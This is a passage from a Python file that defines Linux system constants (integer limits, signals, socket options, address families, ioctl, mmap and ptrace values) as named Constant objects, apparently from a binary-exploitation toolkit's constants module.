Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647))) INTPTR_MAX = Constant('INTPTR_MAX',(2147483647)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FILE = Constant('MAP_FILE',0) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) 